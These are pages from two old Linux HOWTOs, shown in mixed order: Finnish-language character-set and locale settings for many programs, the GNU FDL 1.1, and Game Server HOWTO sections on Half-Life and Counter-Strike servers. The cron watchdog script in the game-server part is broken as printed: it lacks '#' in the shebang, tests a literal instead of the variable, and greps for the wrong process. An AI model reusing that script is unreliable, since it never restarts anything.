Finnish HOWTO
Prev Chapter 3. Näytön ja ohjelmien asetukset Next

3.4. Ohjelmakohtaiset merkistöasetukset

Monet ohjelmat vaativat erityisasetuksia toimiakseen. Esimerkiksi GNU readline -kirjastoa käyttävät kirjastot lukevat /etc/inputrc- tai ~/.inputrc-tiedostot käynnistyessään. Mm. bash ja MySQL:n komentoriviasiakas käyttävät tätä kirjastoa.

Ennen ohjelmakohtaisia asetuksia on kuitenkin syytä säätää lokaalit kuntoon. Ongelmat häviävät usein jo tällön.

3.4.1. bash

Tiedostoon /etc/inputrc tai ~/.inputrc seuraavat rivit:

    set input-meta on
    set output-meta on

Jotkin järjestelmät vaativat lisäksi asetuksen

      set convert-meta off

3.4.2. elm

Tiedostoon ~/.elm/elmrc seuraavat rivit:

    charset = iso-8859-1
    displaycharset = iso-8859-1
    textencoding = 8bit

Tämä ei välttämättä toimi kaikkien elm-versioiden kanssa. Osittaisen MIME-tuen saa elmiin metamail-paketin avulla.

3.4.3. elm-ME+

Lisää tiedostoon /etc/elm-me/elm.mimecharsets seuraava rivit:

fi_FI ISO-8859-1
fi_FI@euro ISO-8859-15

3.4.4. emacs

Nykyiset Emacsit toimivat oikein X Window Systemissä kunhan lokaaliasetukset ovat kunnossa. Konsolissa tai -nw valitsimella käynnistettynä näin ei kuitenkaan ole vaan ~/.emacs-tiedostoon pitää lisätä seuraava rivi:

(set-input-mode nil nil 'foo)

3.4.4.1. Gnus

Gnus toimii merkistöjen osalta oikein ilman muutoksia GNU Emacsin ja XEmacsin uudempien versioiden kanssa, mikäli näihin on käännetty mukaan monikielisyyslaajennukset (MULE, Multi-lingual enhancements) ja järjestelmän lokaaliasetukset on konfiguroitu oikein.

Muussa tapauksessa lisätään tiedostoon ~/.gnus:

         (setq gnus-default-posting-charset 'iso-8859-1)
         (setq message-default-charset 'iso-8859-1)

3.4.4.2. vm

Lisää tiedostoon ~/.vm

    (setq vm-mime-8bit-text-transfer-encoding '8bit)

3.4.5. irc ja sen johdannaiset

Lisätään tiedostoon /etc/irc/script/local rivit tai kirjoitetaan ne komentokehotteeseen:

set EIGHT_BIT_CHARACTERS on
set TRANSLATION LATIN_1

3.4.6. groff

Käynnistetään groff käskyllä groff -Tlatin1 <input-tiedosto>

3.4.7. joe

Käynnistetään joe käskyllä joe -asis tai lisätään tiedostoon ~/.joerc

    -asis

3.4.8. kermit

Epätäydellinen, mutta varsin toimiva ~/kermrc:

        set terminal bytesize 8
        set command bytesize 8
        set file bytesize 8
        set language finnish
        set file character-set latin1-iso
        set transfer character-set latin1-iso
        set terminal character-set latin1-iso

Asetuksia on muutettava jos remote host on käyttöjärjestelmältään DOS tai OS/2.

3.4.9. less

Asetetaan ympäristömuuttuja: LESSCHARSET=latin1 Tämä ei ole välttämätöntä, jos järjestelmä tukee lokaaleja. Tällöin voidaan myös asettaa ympäristömuuttujien LANG, LC_CTYPE tai LC_ALL arvo.

3.4.10. ls

ls toimii oikein kunhan lokaaliympäristömuuttuja LC_CTYPE, LANG tai LC_ALL on asetettu.

3.4.11. links

Lisätään tiedostoon ~/.links/.links.cfg rivi

    terminal2 "linux" 0 0 0 0 ISO-8859-1

3.4.12. lynx

Tiedostoon ~/.lynxrc seuraava rivi:

    character_set=ISO Latin 1

Tämän voi asettaa myös tiedostossa /etc/lynx.cfg tai lynxin Options -valikossa.

3.4.13. man

Katso Section 3.4.6 groff.

3.4.14. metamail

Asetetaan ympäristömuuttuja MM_CHARSET=ISO-8859-1

3.4.15. nn

Tiedostoon ~/.nn/init seuraava rivi:

    set data-bits 8

3.4.16. pine

Tiedostoon ~/.pinerc seuraava rivi:

    character-set=ISO-8859-1

Tämä voidaan asettaa myös pinen Setup | Config -menussa. pinen news-asetukset ovat:

    enable-8bit-esmtp-negotiation
    enable-8bit-nntp-posting

3.4.17. rlogin

Käynnistetään rlogin käskyllä rlogin -8 foo.bar.fi

3.4.18. sendmail

Lisätään tiedostoon /etc/sendmail.mc rivi

    define(`confEIGHT_BIT_HANDLING', `mimefy')dnl

tai lisätään /etc/sendmail.cf:ään rivit:

    O EightBitMode=mimefy

3.4.19. tcsh

Lisätään tiedostoon /etc/csh.login tai ~/.login rivi

    setenv LANG C

Itse asiassa pitää vain määritellä ympäristömuuttuja LANG tai LC_CTYPE. Arvolla ei ole merkitystä. tcsh:n manuaalisivulla on lisätietoja.

3.4.20. telnet

Lisätään tiedostoon ~/.telnetrc rivi jokaista remote hostia kohden:

    hostname set outbinary true

3.4.21. TeX/LaTeX

Aja ensin texconfig. Valitse hyphenation -> latex ja poista kommentointi finnish -sanan edestä sekä tallenna tekemäsi muutokset. EDITOR-ympäristömuuttujan on syytä olla kunnossa, jotta voit käyttää tuttua editoria. Tämän jälkeen tarvitset vielä ao. määritykset dokumenttiisi, jotta ääkköset ja suomenkielinen tavutus toimisi.

    \usepackage[latin1]{inputenc}
    \usepackage[T1]{fontenc}
    \usepackage[finnish]{babel}

Lisätietoja ftp://ftp.funet.fi/pub/TeX/CTAN/documentation/lshort/finnish/lyhyt2e.ps

3.4.22. tin

Lisää ~/.tin/headers-tiedostoon rivit

    Mime-Version: 1.0
    Content-Type: text/plain; charset=iso-8859-1
    Content-Transfer-Encoding: 8bit

Prev | Home | Next
Merkit, joita voidaan näyttää GNU/Linuxissa | Up | Tekstitiedostoformaatit muilla alustoilla


Tekstitiedostoformaatit muilla alustoilla

Finnish HOWTO
Prev Chapter 3. Näytön ja ohjelmien asetukset Next

3.5. Tekstitiedostoformaatit muilla alustoilla

ISO-8859-1 -tekstitiedostoja voidaan muuttaa esimerkiksi DOS-tekstitiedostoiksi käyttämällä recode-ohjelmaa koodisivulla 850. Esimerkiksi DOS-tiedosto foo.txt muutetaan unix-tekstitiedostoksi käskyllä recode cp850:latin1 foo.txt recode on saatavissa Debian GNU/Linuxiin pakettina ja kaikista GNU ftp-arkistoista.

Prev | Home | Next
Ohjelmakohtaiset merkistöasetukset | Up | Lokaalituki glibc2:ssa ja uudemmissa


Näytön ja ohjelmien asetukset

Finnish HOWTO
Prev Next

Chapter 3. Näytön ja ohjelmien asetukset

Table of Contents
3.1. Locale-asetukset
3.2. Euro-merkki
3.2.1. Euro ja lokaalit
3.2.2. Euro konsolissa
3.2.3. Euro X Window Systemissä
3.2.4. KDE
3.2.5. GTK ja Gnome
3.2.6. Emacs
3.2.7. Euro-linkkejä
3.3. Merkit, joita voidaan näyttää GNU/Linuxissa
3.4. Ohjelmakohtaiset merkistöasetukset
3.4.1. bash
3.4.2. elm
3.4.3. elm-ME+
3.4.4. emacs
3.4.5. irc ja sen johdannaiset
3.4.6. groff
3.4.7. joe
3.4.8. kermit
3.4.9. less
3.4.10. ls
3.4.11. links
3.4.12. lynx
3.4.13. man
3.4.14. metamail
3.4.15. nn
3.4.16. pine
3.4.17. rlogin
3.4.18. sendmail
3.4.19. tcsh
3.4.20. telnet
3.4.21. TeX/LaTeX
3.4.22. tin
3.5. Tekstitiedostoformaatit muilla alustoilla

Jotkin ohjelmat pitää kääntää "8-bit-clean", jotta ne toimisivat hyvin skandinaavisilla merkeillä. Jotkin ohjelmat tarvitsevat muitakin asetuksia.

Prev | Home | Next
Merkistö |  | Locale-asetukset


Kiitokset

Finnish HOWTO
Prev Chapter 1. Johdanto Next

1.5. Kiitokset

Kiitän kaikkia minulle meilitse ja uutisryhmässä sfnet.atk.linux kommentteja esittäneitä ihmisiä.

Prev | Home | Next
Tekstin esitystavasta | Up | Näppäimistöasetukset


Mikä on HOWTO?

Finnish HOWTO
Prev Chapter 1. Johdanto Next

1.1. Mikä on HOWTO?

Tämän dokumentin tarkoituksen on antaa ohjeet GNU/Linuxin asetusten suomalaistamiseksi asennuksen jälkeen. Lähtökohtana on tekijän käyttämä Debian GNU/Linux (kirjoitushetkellä versio 3.0), mutta dokumentista on todennäköisesti hyötyä myös muiden jakeluiden käyttäjille, vaikka erityisesti erilaisten käynnistysskriptien nimet ja paikat vaihtelevat eri distribuutioiden välillä hyvinkin paljon.

GNU/Linux on muuttunut paljon sitten Pekka Taipaleen alkuperäisen Finnish-HOWTO:n: sen asentaminen on muuttunut helpommaksi ja asetukset ovat entistä useammin valmiiksi oikein, mutta aina näin ei ole eikä suinkaan ole haitaksi tietää miten GNU/Linuxin kieliasetukset toimivat.

GNU/Linux on entistä useammin palvelinkäytossä ja siksi on entistä tärkeämpää huomata /etc-hakemiston alla olevien konfiguraatiotiedostojen ero verrattuna käyttäjien kotihakemistoissa oleviin konfiguraatiotiedostoihin. Asetukset, joiden on tarkoitus olla kaikilla voimassa on syytä olla /etc-hakemistossa.

Prev | Home | Next
Johdanto | Up | Mitä tämä dokumentti ei käsittele?


Mitä tämä dokumentti ei käsittele?

Finnish HOWTO
Prev Chapter 1. Johdanto Next

1.2. Mitä tämä dokumentti ei käsittele?

Dokumentti ei lokaalien osalta käsittele GNU/Linux-järjestelmiä, jotka käyttävät C-kirjaston versiota viisi tai vanhempia. Valtajakelut käyttävät C-kirjaston versiota kuusi, joka tunnetaan paremmin nimellä glibc2. (Debian ja Red Hat vaihtoivat C-kirjastonsa versioissa Debian GNU/Linux 2.0 ja Red Hat Linux 5.0).

Dokumentti ei käsittele XFree86:n versiota 3.2 vanhempia versioita.

Prev | Home | Next
Mikä on HOWTO? | Up | Tekijänoikeuksista ja kopioinnista


Yleiset asetukset

Finnish HOWTO
Prev Chapter 4. Lokaalituki glibc2:ssa ja uudemmissa Next

4.1. Yleiset asetukset

Monia kohdan Ohjelmakohtaiset näppäimistöasetukset ongelmia voidaan välttäää asettamalle oikeat lokaaliasetukset.

Lokaaliasetuksia voi muuttaa monella tavalla, joita localen manuaalisivu kuvaa tarkemmin. Suosittuja asetuksia ovat ympäristömuuttujien LANG, LC_ALL tai LC_CTYPE arvon asettaminen arvoon

    fi_FI

tai arvoon

    fi_FI@euro

Table 4-1. Lokaalit

Lokaaliympäristömuuttuja | Käyttö
LC_COLLATE | Merkkijonojen järjesteminen.
LC_CTYPE | Merkkien luokittelu ja muuntaminen.
LC_MESSAGES | Ohjelmien kääntäminen mikäli ohjelma käännöstä tukee ja muut lokaaliympäristömuuttujat eivät ole ristiriidassa LC_MESSAGES-ympäristömuuttujan kanssa.
LC_MONETARY | Raha-arvot
LC_NUMERIC | Numeeristen ei-raha-arvojen muotoilu
LC_TIME | Päivämäärän ja ajan muotoilu
LC_ALL | Määrittelee kaikki edellä mainitut ympäristömuuttujat
LANG | Määrittelee kaikki edellä mainitut ympäristömuuttujat, mutta yksittäiset lokaaliympäristömuuttujat voi määritellä erikseen.

Tässä mallisesimerkki:

LANG=C
LC_CTYPE=fi_FI@euro
LESSCHARSET=latin1

Prev | Home | Next
Lokaalituki glibc2:ssa ja uudemmissa | Up | Debian ja lokaalit


Debian ja lokaalit

Finnish HOWTO
Prev Chapter 4. Lokaalituki glibc2:ssa ja uudemmissa

4.2. Debian ja lokaalit

Tilan säästämiseksi Debianin asennus ei generoi kaikkia lokaaleja automaattisesti vaan ne pitää valita asennuksen aikana tai generoida asennuksen jälkeen lisäämällä tiedostoon /etc/locale.gen rivit

fi_FI ISO-8859-1
fi_FI@euro ISO-8859-15

ja ajamalla sen jälkeen komento locale-gen.

Mikäli lokaaleja ei haluta ylläpitää Debianissa käsin voidaan käyttää komentoa dpkg-reconfigure locales.

Prev | Home
Yleiset asetukset | Up


GNU Free Documentation License

Game Server HOWTO
Prev

A. GNU Free Documentation License

GNU Free Documentation License
Version 1.1, March 2000

Copyright (C) 2000 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.

0. PREAMBLE

The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

1. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

2. VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

3. COPYING IN QUANTITY

If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

4. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

  1. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.

  2. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).

  3. State on the Title page the name of the publisher of the Modified Version, as the publisher.

  4. Preserve all the copyright notices of the Document.

  5. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.

  6. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.

  7. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.

  8. Include an unaltered copy of this License.

  9. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.

  10. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.

  11. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.

  12. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.

  13. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.

  14. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.

5. COMBINING DOCUMENTS

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.

The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."

6. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

7. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.

If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.

8. TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.

9. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

10. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.

How to use this License for your documents

To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:

Copyright (c) YEAR YOUR NAME.
Permission is granted to copy, distribute and/or modify this document
under the terms of the GNU Free Documentation License, Version 1.1
or any later version published by the Free Software Foundation;
with the Invariant Sections being LIST THEIR TITLES, with the
Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
A copy of the license is included in the section entitled "GNU
Free Documentation License".

If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.

If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.

Prev | Home
Unreal Tournament |


Basics

Game Server HOWTO
Prev Next

2. Basics

Game servers can consume pretty much CPU and bandwidth (depending on the game and the number of players connected to your server). If you don't own the machine and want to run a server from your account, ask the system administrator first.

2.1. Security and permissions

All dedicated servers are strongly recommended to be run from another user than root. I recommend that you create a new user which handles all the game-servers. You may not have permission to create certain directories as a normal user, for example /usr/local/games/quake. If so, create it as root and then chown user:group /usr/local/games/quake, where user is your username and group your group, or create it in your home directory.

2.2. Keep the server running

If your game server crashes, a shell script like the one below (found on linux.com) will come in handy so you won't have to restart it manually. It can easily be modified for the game server(s) you're running:

!/bin/sh

quake3dir="/usr/local/games/quake3"
binname="linuxq3ded"
cd $quake3dir
process=`ps auxwww | grep inet | grep -v grep | awk '{print $12}'`

if [ -z process ]; then

  echo "Couldn't find quake 3 running. Restarting it"
  nohup ./linuxq3ded +exec ffa.cfg &

  echo ""

fi

Put the script somewhere, name it sv_up or whatever you like, and make cron run it every 5-10 min:

*/10 * * * * /usr/local/games/quake3/sv_up.sh >/dev/null 2>&1

Put this in crontab (crontab -e). It will execute sv_up.sh (the shell script above) every 10 minutes and its output is sent to /dev/null (in other words, it disappears).

Prev | Home | Next
Introduction |  | QuakeWorld


Half-Life

Game Server HOWTO
Prev Next

6. Half-Life

Half-Life is the most popular multiplayer first-person shooter on the Internet as of this version of the HOWTO - mainly thanks to the modification Counter-Strike, hereafter referred to as CS.

6.1. System requirements

The system requirements may vary depending on how many players you have on your server.

  • CPU - depends on how many clients your server will have. At least P2 266 for hosting a full game, the more the better. 400MHz recommended.

  • RAM - Minimum 64MB, 128MB recommended.

  • Bandwidth - Depends on how many clients you have. At least 512kbps upload recommended.

6.2. Installing

You need the HLDS dedicated server package to run an Half-Life server:

  • ftp://ftp.ioerror.com/pub2/halflife/demopatch/hlds_l3104.tar.gz

When you've downloaded the above file, create a directory for HLDS and extract the HLDS package to it.

bash$ mkdir /usr/local/games/hlds
bash$ tar zxvf hlds_l3103.tar.gz -C /usr/local/games/hlds
bash$ tar zxvf cs_10.tar.gz -C /usr/local/games/hlds

Now we have to make it so hlds can see its dynamically linked libraries (*.so files). If you're running bash, which you most likely are, type:

bash$ export LD_LIBRARY_PATH=/usr/local/games/hlds:$LD_LIBRARY_PATH

This adds /usr/local/games/hlds to the directories ld checks for libraries in.

6.3. Configuring

Now you can start hlds, ./hlds_l to start a dedicated Half-Life server. It should work with the default settings, so try it:

bash$ hlds_l +maxplayers 12 +map crossfire

At the end you should see something like this:

WON Auth Server
 . . .

If the 'Auth' is missing it's probably because your server is using the incorrect IP address. Type status in the server console and it will spit out some info. If your IP isn't what it should be, quit the server with the exit commando and start it again with this commando:

bash$ ./hlds_l +ip xx.xx.xx.xx +maxplayers 12 +map crossfire

See if it works this time. If it doesn't, you might be behind a firewall. If that's the case, let's just hope the network admin is friendly - make him open the port(s) you need, 27015 is the default port.

If you want to run a modification instead of regular DM or teamplay, pass the -game modname argument, for example ./hlds_l -game tfc +maxplayers 12 +map 2fort.

The server reads autoexec.cfg, server.cfg, motd.txt and mapcycle.txt. Edit these to your liking. Autoexec.cfg is only executed when you start the server. Server.cfg is executed at every map change. Motd.txt contains the text that players will see when they join your server, a good idea would be to put in your server name, homepage (server stats page?), and contact info. Mapcycle.txt contains the list of maps you want rotated on your server. Type in all the maps you want there, each on its own line, without the ".bsp" extension.

  • sv_aim - Setting this to 1 causes the crosshairs to turn red when placed over a player.

  • pausable - Clients are allowed to pause the server.

  • mp_timelimit - Server changes map when timelimit (in minutes) is reached.

  • mp_fraglimit - Server changes map when fraglimit is reached.

  • mp_footsteps - Setting this to 0 turns off footsteps.

  • mp_flashlight - Clients can use flashlight (useful on dark maps).

  • mp_falldamage - Realistic fall damage.

  • mp_friendlyfire - Allows clients to kill people on the same team. More realistic, but set this to 0 to avoid lamers killing everybody on their team.

Min/max rates - The commands sv_maxrate xxxx and sv_minrate xxxx forces clients to use the specified rate. This is useful if you, for example, don't want LPB's stealing bandwidth and annoying HPW's - type sv_maxrate 6000 to do this. If you on the other hand want to run a server for LPB's, set the minimum rate to something around 9000 with sv_minrate 9000.

Kicking/Banning - Each player is assigned userid by the server. Type users in the server console to see the players id's. Usually you can kick people simply by typing kick <nick>, but this can be difficult if a client has a long nick or with strange characters. If this is the case, you can kick clients by their id with kick # . If you want to ban a client, preventing them from coming back to the server, find their uniqueid with the users commando and then ban with banid <minutes> <uniqueid>, where <minutes> is the number of minutes you want to ban the player (0 makes the ban permanent), and <uniqueid> the player's uniqueid. To make so that the client is still banned after restarting the server, type writeid before you quit the server, and add exec banned.cfg to your server.cfg so that the next time you start your server, it will read the uniqueid's in banned.cfg. You can also kick & ban a client at the same time with banid <uniqueid> kick. Remove players from bans with removeid <id>, and don't forget to remove it from server.cfg if it's there too.

RCON - RCON lets clients on your server execute server commands remotely. Add the line rcon_password "password" to the server.cfg file. Clients type in rcon_password password in the console and can then execute server commands, like rcon kick, rcon mapchange, etc. This is good if you want to deal with abusive players directly when you're playing on the server, or maybe let a few other trustworthy persons do it. To use rcon when playing on your server, type rcon_password password in the in-game console. You can know execute several commands if the password was correct, but remember that you must add rcon before every command, for example rcon kick player.

6.4. Counter-Strike

First you need, of course, a working Half-Life server. Download the latest CS package. As of this revision of the HOWTO it's 1.0b, but that may have changed when you read this.

  • ftp://ftp.fragzone.se/pub/halflife/counter/cs_10.tar.gz

  • ftp://ftp.wireplay.net/pub/downloads/cstrike/ln_cs10b.zip - Patch.

Extract it to your HLDS directory:

bash$ tar zxvf ~/cs_10.tar.gz -C /usr/local/games/hlds
bash$ unzip ~/ln_cs10b.zip -d /usr/local/games/hlds

Now run the CS server:

bash$ hlds_l -game cstrike +maxplayers 12 +map de_dust

Edit the /usr/local/games/hlds/cstrike/server.cfg file to change it to your liking and optimize the server. The file mapcycle.txt contains the list of maps to be included in the map cycle, and motd.txt contains the MOTD - Message Of The Day.

Maps - maps that begins with cs_ are hostage maps, where the CT's job is to rescue the hostages and the T's to stop them, de_ is a defusion map where T's job is to plant the bomb at selected targets and CT's job is to eliminate the T's or defuse the bomb), es_ is an escape map where T's trying to escape from a prison-type secnario. By typing mp_timelimit 0 in the console, the server will go to the next map in the cycle. The commando changelevel followed by the mapname makes the server change to the specified map. The maps must be in your cstrike/maps directory.

For more information on CS servers, see http://server.counter-strike.net.

Prev | Home | Next
Quake III Arena |  | Unreal Tournament


Game Server HOWTO

Anders Jensen-Urstad

andman@fragzone.se

v0.99, 9 July 2001

This document explains how to install, configure and maintain servers for various popular multiplayer games.

Table of Contents
1. Introduction
1.1. Copyright Information
1.2. Disclaimer
1.3. History
1.4. New Versions
1.5. Credits
1.6. Feedback
2. Basics
2.1. Security and permissions
2.2. Keep the server running
3. QuakeWorld
3.1. System requirements
3.2. Installing
3.3. Configuring
3.4. Threewave CTF (Capture The Flag)
3.5. Rocket Arena
4. Quake II
4.1. System requirements
4.2. Installing
4.3. Configuring
4.4. Q2CTF (Capture The Flag)
4.5. LMCTF (Loki's Minions CTF)
4.6. Rocket Arena 2
4.7. Lithium II
4.8. L-Fire DM
4.9. L-Fire CTF
4.10. Q2Admin
5. Quake III Arena
5.1. System requirements
5.2. Installing
5.3. Configuring
5.4. Q3CTF (Capture The Flag)
5.5. Rocket Arena 3
5.6. Alliance
6. Half-Life
6.1. System requirements
6.2. Installing
6.3. Configuring
6.4. Counter-Strike
7. Unreal Tournament
7.1. System requirements
7.2. Installing
7.3. Configuring
7.4. Starting the server
7.5. Administrating the server
A. GNU Free Documentation License
Next
Introduction


Introduction

Game Server HOWTO
Prev Next

1. Introduction

This document describes how to install, configure and maintain dedicated servers for popular multiplayer games, such as the Quake series, Half-Life/Counter-Strike and other first-person shooters. Linux makes a great operating system for game servers because of its stability and speed (not to mention it's free).

1.1. Copyright Information

Copyright (c) 2001 Anders Jensen-Urstad

